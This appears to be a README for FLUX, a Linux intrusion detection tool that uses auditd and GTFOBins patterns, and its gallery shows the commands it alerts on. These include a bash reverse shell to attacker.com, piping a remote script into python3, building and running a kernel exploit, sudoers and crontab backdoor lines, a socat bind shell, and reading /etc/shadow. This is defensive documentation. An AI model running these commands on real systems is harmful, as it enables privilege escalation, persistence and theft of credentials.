FLUX

FLUX – Advanced Host-Based Intrusion Detection System for Linux

---

DESCRIPTION

FLUX is a comprehensive, advanced Host-based Intrusion Detection System (HIDS) built specifically for Linux environments. It operates in real time, continuously monitoring system activity through 13 parallel threads to detect malicious behavior, unauthorized changes, and signs of compromise — from initial reconnaissance all the way to post-exploitation persistence.

Unlike traditional log scanners or single-purpose security scripts, FLUX employs a dual-engine architecture that combines psutil-based process polling with kernel-level auditd execve hooking. Both engines share a unified deduplication layer ensuring no command generates duplicate alerts regardless of which engine captures it first. This ensures no command escapes detection: psutil catches long-running processes every second, while auditd captures every execve syscall at the kernel level — including commands that complete in milliseconds (sudo -l, id, groups, uname -r, find / -perm -4000). The auditd integration automatically configures 15 kernel-level syscall rules and file watches, covering SUID execution, UID change syscalls, root processes from writable directories, /proc/self/mem writes, copy_file_range abuse, and real-time modification detection on sudoers and cron directories.

FLUX integrates 1,259 GTFOBins exploitation patterns covering 200+ Linux binaries with a sophisticated pattern generalization engine that adapts literal GTFOBins examples to match real-world command variations. The engine automatically handles seven common discrepancies between GTFOBins documentation and actual execve cmdlines: literal placeholder paths replaced with filesystem wildcards, quoted DATA strings generalized to arbitrary content, single quotes around -c and -e arguments made optional (shells strip them before execve), dollar-sign variables preserved as literals rather than regex anchors, /bin/sh expanded to match /bin/bash, /bin/dash, and /bin/zsh, comma-space separators made flexible in function calls, and semicolon separators matched with or without whitespace. Versioned binary aliases (python3, python3.11, php8.1, ruby3.0, node20, lua5.4, gcc-12, java17, and more) are automatically mapped to their base GTFOBins rules.

On top of the GTFOBins engine, 22 behavioral alert types derived from the HiveSecurity Linux Privilege Escalation guide provide complete coverage of all six attack phases: reconnaissance (SUID enumeration, world-writable file discovery, sudo -l, cron inspection, kernel version checking), SUID/SGID abuse (euid mismatch detection via auditd with whitelisted system binaries, -p flag shell spawning, chmod +s backdoors), sudo misconfiguration (shell spawning detection that distinguishes malicious os.system/os.execl calls from benign -c usage, LD_PRELOAD injection with shared library compilation detection), cron job hijacking (file modification watches plus content-aware diff alerts showing exactly what was added), PATH injection (both cmdline-based detection and /proc/*/environ polling that catches shell builtin export commands invisible to execve monitoring), Linux capabilities abuse (getcap/setcap detection plus setuid syscall monitoring), and kernel exploits including DirtyFrag (CVE-2026-46331 — page cache corruption via pagemap), DirtyClone (CVE-2026-43503 — memory mapping file manipulation), DirtyPipe (CVE-2022-0847 — /proc/self/mem overwrite), PwnKit (CVE-2021-4034 — suspicious pkexec execution), and CopyFail (copy.fail URL access, splice/copy_file_range abuse, curl-pipe-to-interpreter-su pattern).

Beyond command-level detection, FLUX provides comprehensive system-wide monitoring across eight additional layers. File integrity monitoring via SHA-256 hashing with 3-second polling covers both system files (/etc/passwd, /etc/shadow, /etc/sudoers, /etc/group, /etc/crontab) and HIDS configuration files, supplemented by kernel-level auditd file watches for real-time sudoers and cron modification alerts independent of the polling cycle. User and group account monitoring polls /etc/passwd and /etc/group every 5 seconds using set-difference comparison, detecting new user creation, sudo group membership changes, wheel group modifications, and /etc/sudoers hash changes with automatic corrupted-baseline recovery. Persistence detection monitors all common autostart locations — system-wide paths (/etc/rc.local, /etc/init.d/, /etc/systemd/system/, all cron directories) plus every user's shell RC files under /home/* and /root — with content-aware diffing that shows the exact lines added or removed, not just which file changed. Kernel and rootkit monitoring provides three detection vectors: loaded module tracking with hash verification and whitelist comparison, hidden process detection by cross-referencing /proc PIDs against psutil's process list, and hidden file discovery by comparing os.listdir() output against ls -A results. USB device enumeration captures vendor ID, product ID, manufacturer, serial number, speed class, and max power draw for BadUSB and malicious HID detection. Network surveillance runs across three threads: new process tracking, sustained upload/download detection with 50KB/s threshold and spike analysis, and internet connectivity monitoring via ICMP probes. System resource monitoring detects CPU spikes above 80% and memory usage over 500MB with automatic browser process whitelisting (Firefox, Chrome, Chromium, Brave). Environment scanning polls /proc/*/environ every 2 seconds for PATH hijacking, catching shell builtin export commands that never appear in execve logs.

All alerts are delivered in real time to Discord via structured webhooks with per-alert-type icons and descriptions, enabling rapid incident response before damage occurs. The entire system runs as a single Python process with graceful Ctrl+C shutdown, automatic auditd rule cleanup on exit, and resilient JSON handling with automatic corrupted-baseline recovery.

Tool Screenshot

Layer	Engine	What it detects
Process scanning	psutil polling (1s interval)	Long-running suspicious processes, GTFOBins exploitation
Auditd execve monitoring	Kernel-level auditd hooking (/var/log/audit/audit.log)	Every command execution — including short-lived ones psutil misses
GTFOBins pattern matching	1,259 regex patterns from 200+ binaries	Specific exploitation syntax (SUID abuse, shells, file read/write, reverse shells)
Privilege escalation detection	Blog-driven behavioral rules (17 alert types)	Reconnaissance, kernel exploits (PwnKit, DirtyPipe, DirtyFrag, CopyFail), tool detection
File integrity monitoring	SHA-256 hashing + auditd file watches	Unauthorized changes to passwd, shadow, sudoers, crontab, system configs
Network monitoring	Real-time connection + traffic tracking	Suspicious external connections, large uploads/downloads, netcat/socat listeners
Kernel & rootkit detection	Module hash verification + hidden process scanning	Unsigned/hidden kernel modules, suspicious module keywords
Environment scanning	/proc/*/environ polling (2s)	PATH hijacking via writable directories (/tmp, /dev/shm)
User & group monitoring	/etc/passwd + /etc/group diffing (5s)	New users, sudo/wheel group changes, sudoers modifications

---

Key Features

1. Auditd-Based Execve Monitoring

Real-time capture of every command executed on the system via kernel-level auditd hooks. Unlike process polling which misses short-lived commands (id, groups, sudo -l, uname -r, etc.), auditd catches everything at the syscall level before the process even starts.

• Tails /var/log/audit/audit.log in real time with log rotation handling
• Matches SYSCALL events (PID, UID, EUID, AUID) with EXECVE events (command arguments)
• Gracefully disables if auditd is unavailable
• Adds comprehensive auditd ruleset automatically:
  • -a execve -F euid=0 -F auid!=0 -F auid!=-1 — SUID execution detection
  • -a setuid/setreuid/setresuid — UID change syscalls
  • -a execve -F euid=0 -F dir=/tmp / -F dir=/dev/shm — root from writable dirs
  • -a write -F path=/proc/self/mem — DirtyPipe/DirtyFrag kernel exploit
  • -a copy_file_range — CopyFail kernel exploit
  • -w /etc/sudoers,/etc/crontab,/etc/cron.d/*,/var/spool/cron/* — file modification watches
  • -w /usr/bin/sudo,/sbin/setcap — tool execution watches
• Deduplicates commands and detects SUID abuse (euid=0 + auid!=0)

2. GTFOBins Exploitation Detection

Detects exploitation of 200+ Linux binaries based on 1,259 GTFOBins patterns. Every pattern is automatically generalized to match real-world command variations.

• Pattern generalization: Literal placeholders (DATA, /path/to/output-file) converted to regex wildcards — 799/1,259 patterns match real commands
• Quote generalization: -c '...' and -e '...' patterns match both quoted and unquoted cmdlines (shells strip quotes before execve)
• Dollar sign fix: $i, $p variables in Perl/PHP patterns preserved as literal $ instead of regex anchors
• Shell path generalization: /bin/sh also matches /bin/bash, /bin/dash, /bin/zsh
• Comma-space generalization: ", " and "," both accepted in function call arguments
• Versioned binary support: python3, python3.11, php8.1, ruby3.0, node20, lua5.4, gcc-12, java17 all correctly match base binary rules
• Login shell filtering: -zsh, -bash etc. skipped unless containing exploitation patterns (eliminates noise from normal terminal usage)

3. Privilege Escalation Detection

Comprehensive detection coverage based on Linux privilege escalation attacks in 2026.

Alert	MITRE	What it detects
[SUID_ABUSE]	T1548.001	Process running as euid=0 spawned by non-root user (via auditd) — whitelists sudo, su, passwd, kmod, modprobe, modinfo
[SUID_ENUM]	T1548.001	find / -perm -4000/-2000 (SUID/SGID binary enumeration)
[WRITABLE_ENUM]	T1082	find / -writable (world-writable file enumeration)
[RECON]	T1033, T1082	id, groups, id && groups, uname -r/-a, PATH writable directory enumeration
[SUDO_SHELL_SPAWN]	T1548.003	sudo /bin/bash, sudo vim -c, sudo python3 -c 'os.system(...)' — only when code spawns a shell
[SUDO_EXEC]	T1548.003	General sudo/doas/pkexec usage (MEDIUM)
[SUDO_ENUM]	T1548.003	sudo -l / sudo -ll (checking available sudo privileges)
[LD_PRELOAD]	T1548.003, T1574.006	LD_PRELOAD= abuse + gcc/cc compiling .so with -shared -fPIC
[CRON_ENUM]	T1053.003	cat /etc/crontab, ls -la /etc/cron.* — all cron directories
[CRON_MOD]	T1053.003	Cron file modified — detected via auditd -w file watches
[PATH_HIJACK]	T1574.007	export PATH=/tmp:$PATH via cmdline + /proc/*/environ scanning
[WRITABLE_DIR_EXEC]	T1574.007	Executable launched from /tmp/, /dev/shm/, /var/tmp/
[CAPABILITIES]	T1548.001	getcap/setcap execution
[KERNEL_EXPLOIT]	T1068	PwnKit, DirtyPipe, DirtyFrag (CVE-2026-46331), DirtyClone (CVE-2026-43503), CopyFail, searchsploit
[PE_TOOL]	T1059.004, T1057	LinPEAS/PEASS-ng and pspy execution
[CREDENTIAL_ACCESS]	T1003.008	Reading /etc/shadow via cat/less/strings/dd/base64/xxd/head
[SUID_SHELL]	T1548.001	Shell invoked with -p flag (preserves effective UID for SUID abuse)
[CHMOD_SHELL]	T1548.001	chmod +s /bin/sh (backdoor SUID bit)
[PIPE_TO_SHELL]	T1059.004	Command piped to shell interpreter
[NETWORK]	T1059.004, T1090	Netcat (nc -l -p PORT, nc -lvp, nc -nvlp) and socat (TCP-LISTEN) listeners
[PRIVESC]	T1548	su without arguments — possible post-exploit privilege escalation
[FILE_WRITE]	T1059.004, T1105	Data written to world-writable directories (/tmp/, /dev/shm/) via echo/cat/tee/dd
[PERSISTENCE]	T1053.003, T1546.004	Direct write to cron configs or shell RC files (.bashrc, .zshrc, .bash_profile, authorized_keys)
[RECON]	T1082	env | grep PATH environment variable enumeration for PATH injection

4. File Integrity Monitoring

Watches critical system and HIDS files for unauthorized changes using SHA-256 hash comparison every 3 seconds.

Monitored files:

• System: /etc/passwd, /etc/shadow, /etc/sudoers, /etc/group, /etc/crontab
• HIDS: baseline_users.json, kernel_module_whitelist.json, hids_alerts.log, webhook.txt, sha256.txt, gtfobins_wazuh_rules.xml

Additional auditd file watches provide kernel-level real-time detection for sudoers and cron directory modifications independent of the polling cycle.

5. Process & Network Monitoring

Multi-layered network and process surveillance running across three threads:

• New process detection (detect_new_processes): Tracks all newly spawned processes via psutil PID comparison
• Network traffic monitoring (monitor_network_traffic): Detects sustained uploads/downloads exceeding 50KB/s threshold with spike detection (5x average). Reports suspicious process details
• Internet connectivity monitoring (monitor_internet): Pings 8.8.8.8 to detect network drops — useful for spotting intentional disruptions

6. Persistence Detection

Monitors all common persistence mechanisms for new or modified entries every second. Shows the actual changed content in alerts, not just the file path.

Watched paths:

• System: /etc/rc.local, /etc/init.d/, /etc/systemd/system/, /etc/crontab
• Cron directories: /etc/cron.d/, /etc/cron.daily/, /etc/cron.hourly/, /etc/cron.weekly/, /etc/cron.monthly/
• All user RC files: /home/*/.bashrc, .zshrc, .bash_profile, .profile, .ssh/authorized_keys
• Root RC files: /root/.bashrc, .zshrc, etc.

Alert format: [PERSISTENT] Modified: /etc/crontab | +*/5 * * * * root /tmp/backdoor.sh

7. Kernel & Rootkit Monitoring

Dual-layer kernel integrity checking:

• Kernel modules (monitor_kernel_modules): Tracks loaded modules via lsmod + modinfo, hashes module binaries, detects new/unsigned/changed modules against a whitelist baseline
• Rootkit detection (monitor_rootkit): Three detection vectors:
  1. Hidden processes — PID visible in /proc but not via psutil
  2. Suspicious module names — keyword matching against known rootkit signatures (rootkit, hook, hide, hijack, suckit, kaiten, phalanx, etc.)
  3. Hidden files — file visible to Python's os.listdir() but hidden from ls -A

8. USB Device & BadUSB Detection

Enumerates all connected USB devices with detailed forensics:

• Vendor ID, Product ID, Manufacturer, Serial Number
• USB speed (Low/Full/High/SuperSpeed) and max power draw
• Device class identification (HID, Mass Storage, etc.)
• Flags suspicious HID devices that could be malicious keystroke injectors

9. User & Group Account Monitoring

Polls /etc/passwd and /etc/group every 5 seconds with set-difference comparison:

• New user detection: Any username added to /etc/passwd triggers [USER] alert
• Sudo group changes: New members added to sudo group trigger [PRIVESC] alert
• Wheel group changes: New members added to wheel group trigger [PRIVESC] alert
• Sudoers file monitoring: SHA-256 hash comparison detects any modification to /etc/sudoers
• Handles corrupted baseline files gracefully with automatic recreation

10. SSH Monitoring

• Brute-force detection: Tracks failed login attempts per IP with configurable threshold
• Successful login detection: Captures username, source IP, geolocation
• Attacker ISP and ASN retrieval for threat intelligence

11. Malware Signature Detection

• SHA-256 hash matching against signature database (sha256.txt)
• Process binary hash verification during process enumeration
• [MALWARE] alert with binary path and matching hash

12. System Resource Monitoring

Detects CPU spikes (>80%) and memory hogs (>500MB) that could indicate cryptominers, DDoS bots, or runaway processes.

• Browser whitelist: Firefox, Chrome, Chromium, Brave processes automatically whitelisted
• Reports process name, PID, CPU%, memory usage, executable path, and full command line
• Alerts only once per PID to avoid spam

13. Webhook Alerting

• Real-time structured alerts sent to Discord with per-alert-type icons and descriptions
• Rate-limited queue (1 msg/sec) with automatic retry on Discord 429 responses
• Desktop notifications via notify-send for instant visual alerts
• Background sender thread — log_alert() returns instantly without blocking

---

Detection Architecture

                    ┌──────────────────────────────────┐
                    │         DEDSEC FLUX HIDS         │
                    │         12 Active Threads        │
                    └──────────────────────────────────┘
                                   │
        ┌──────────────┬───────────┼───────────┬──────────────┐
        ▼              ▼           ▼           ▼              ▼
   ┌─────────┐    ┌─────────┐ ┌─────────┐ ┌─────────┐    ┌─────────┐
   │ psutil  │    │ auditd  │ │  file   │ │  /proc  │    │ network │
   │ scanner │    │ monitor │ │integrity│ │ environ │    │ traffic │
   │  (1s)   │    │(realtime│ │  (3s)   │ │  (2s)   │    │  (1s)   │
   └────┬────┘    └────┬────┘ └────┬────┘ └────┬────┘    └────┬────┘
        │              │           │           │              │
        └──────────────┼───────────┼───────────┼──────────────┘
                       ▼           ▼           ▼
              ┌─────────────────────────────┐
              │     analyze_command()       │
              │     Shared detection engine │
              └─────────────┬───────────────┘
                            │
        ┌───────────────────┼──────────────────┐
        ▼                   ▼                  ▼
   ┌─────────┐         ┌─────────┐        ┌─────────┐
   │GTFOBins │         │ Behavior│        │ Generic │
   │ 1,259   │         │ 17 alert│        │ checks  │
   │patterns │         │  types  │        │         │
   └────┬────┘         └────┬────┘        └────┬────┘
        │                   │                  │
        └───────────────────┼──────────────────┘
                            ▼
                ┌─────────────────────────┐
                │      log_alert()        │
                │  → hids_alerts.log      │
                │  → Discord webhook      │
                └─────────────────────────┘

---

Detection Gallery

Real-world command executions and their corresponding FLUX alerts. Each topic shows the command being executed and the alert captured in real time.

---

1. SUID Abuse (T1548.001)

Alert
Command: find . -exec /bin/sh -p \; -quit

---

2. SUID Enumeration (T1548.001)

Alert
Command: find / -perm -4000 -type f 2>/dev/null

---

3. Sudo Shell Spawning (T1548.003)

Alert
Command: sudo vim -c ':!/bin/bash'

---

4. Sudo Enumeration (T1548.003)

Alert
Command: sudo -l

---

5. Cron Job Enumeration (T1053.003)

Alert
Command: cat /etc/crontab

---

6. Cron File Modification (T1053.003)

Alert
Command: echo '* * * * * root /tmp/backdoor.sh' >> /etc/crontab
Command: crontab -e

---

7. PATH Injection (T1574.007)

Alert
Command: cp /bin/id /tmp/test_suid && sudo chmod 4755 /tmp/test_suid && /tmp/test_suid

---

8. Capabilities Abuse (T1548.001)

Alert
Command: getcap -r / 2>/dev/null

---

9. PwnKit Kernel Exploit (T1068)

Alert
Command: pkexec /bin/bash

---

10. DirtyPipe Kernel Exploit (T1068)

Alert
Command: dd if=/etc/passwd of=/proc/self/mem

---

11. Credential Dumping (T1003.008)

Alert
Command: cat /etc/shadow

---

12. LinPEAS / pspy Tool Detection (T1057 / T1059.004)

Alert
Command: ./linpeas.sh

Alert
Command: ./pspy64

---

13. GTFOBins SUID Shell via Python (T1548.001)

Alert
Command: python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

---

14. GTFOBins Download via Curl

Alert
Command: curl http://127.0.0.1:8080/code.txt -o /tmp/file.txt

---

15. Sudoers Modification (T1548.003)

Alert
Command: echo 'user ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers

---

16. Reverse Shell via Bash (T1059.004)

Alert
Command: bash -c exec bash -i &>/dev/tcp/attacker.com/12345 <&1

---

17. SUID Shell (-p flag)

Alert
Command: /bin/sh -p

---

18. Reconnaissance: id && groups (T1033)

Alert
Command: id
Command: groups

---

19. Reconnaissance: uname -r (T1082)

Alert
Command: uname -r
Command: uname -a

---

20. PATH Hijacking (T1574.007)

Alert
Command: export PATH=/tmp:$PATH

---

21. LD_PRELOAD Abuse (T1574.006)

Alert
Command: sudo LD_PRELOAD=/tmp/evil.so /usr/bin/find

---

22. LD_PRELOAD Payload Compilation

Alert
Command: gcc -shared -fPIC -o evil.so evil.c -Wno-implicit-function-declaration

---

23. DirtyFrag Kernel Exploit (CVE-2026-46331)

Alert
Command: git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

---

24. CopyFail Kernel Exploit

Alert
Command: curl https://copy.fail/exp | python3 && su

---

25. Kernel Exploit Binary Detection

Alert
Command: ./dirtyfrag / ./DirtyClone / python3 copyfail.py

---

26. Netcat, Socat Listener / Bind Shell (T1059.004 / T1090)

Alert
Command: nc -l -p 12345

Alert
Command: socat TCP-LISTEN:12345,fork EXEC:/bin/sh

---

27. File Write to Writable Directory (T1105)

Alert
Command: echo "bWFsd2FyZQo=" > /tmp/malware.sh

---

28. Environment Reconnaissance (T1082)

Alert
Command: env | grep PATH

---

Feature Screenshots

Screenshots for the built-in monitoring modules.

4. File Integrity Monitoring

Alert
File hash mismatch detected

5. Process & Network Monitoring

Alert
Suspicious process / new network connection

6. Persistence Detection

Alert
New cron job / startup entry detected

7. Kernel & Rootkit Monitoring

Alert
Unsigned/hidden kernel module detected

8. USB Device & BadUSB Detection

Alert
New USB device / suspicious HID detected

9. User & Group Account Monitoring

Alert
New user added / sudo group change

10. SSH Monitoring

Alert
Brute-force attack / successful login detected

11. Malware Signature Detection

Alert
Known malware hash matched

---

Anti-Duplication System

FLUX includes multiple layers of deduplication to prevent alert storms:

Layer	Mechanism
Cross-engine dedup	psutil and auditd share a unified seen_cmdlines set — same command captured by both engines generates only one alert
PATH hijack dedup	Per-directory tracking — same writable directory at front of PATH alerts once regardless of how many processes inherit it
Resource monitoring	Per-PID one-shot — each high CPU/memory process alerts once, then added to whitelist
Webhook rate limiter	Background queue with 1 msg/sec minimum interval + automatic 429 retry with Discord's retry_after delay
GTFOBins shadow dedup	/etc/shadow file reads detected by GTFOBins engine are suppressed in favor of the more specific credential access rule
File integrity	Hash-change-based — alerts only when SHA-256 differs from stored state, with HIDS self-write filtering

---

Installation

git clone https://github.com/0xbitx/DEDSEC_FLUX.git
cd DEDSEC_FLUX
sudo apt install auditd libnotify-bin -y
sudo systemctl enable --now auditd
pip3 install requests tabulate psutil pyusb
chmod +x dedsec-flux

Usage

sudo ./dedsec-flux setup              # Install as systemd service (auto-start on boot)
sudo ./dedsec-flux setup-webhook URL  # Set Discord webhook URL
sudo ./dedsec-flux run                # Run with live color-coded alert feed without installing
sudo ./dedsec-flux uninstall          # Uninstall DEDSEC FLUX

Prerequisites

Component	Required for
auditd	Real-time execve monitoring, file modification watches, SUID abuse detection
psutil	Process scanning, resource monitoring, network traffic
pyusb	USB device enumeration
libnotify-bin	Desktop notifications via notify-send
Root privileges	/proc access, auditd control, log reading

---

Tested On

• Kali Linux
• Parrot OS
• Ubuntu

---

Disclaimer

TO BE USED FOR EDUCATIONAL PURPOSES ONLY

The use of FLUX is the COMPLETE RESPONSIBILITY of the END-USER. Developers assume NO liability and are NOT responsible for any misuse or damage caused by this program.